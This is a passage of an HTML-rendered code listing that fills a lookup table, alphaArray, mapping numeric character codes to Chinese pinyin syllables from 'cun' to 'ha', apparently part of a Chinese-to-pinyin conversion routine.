&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19227&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19224&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"cuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19218&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"da"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19212&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19038&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19023&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19018&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19006&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"de"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19003&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"deng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18996&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"di"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18977&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18961&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"diao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18952&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"die"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18783&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ding"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18774&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"diu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18773&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18763&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18756&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"du"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18741&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"duan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18735&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18731&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"dun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18722&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"duo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18710&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"e"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18697&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"en"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18696&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"er"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18526&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fa"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18518&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18501&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18490&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18478&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18463&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"feng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18448&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18447&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18446&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"fu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18239&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ga"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18237&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18231&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18220&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18211&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18201&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ge"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18184&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18183&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18181&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"geng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;18012&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17997&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17988&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17970&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gua"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17964&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"guai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17961&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"guan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17950&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"guang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17947&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17931&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"gun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17928&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"guo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17922&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ha"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
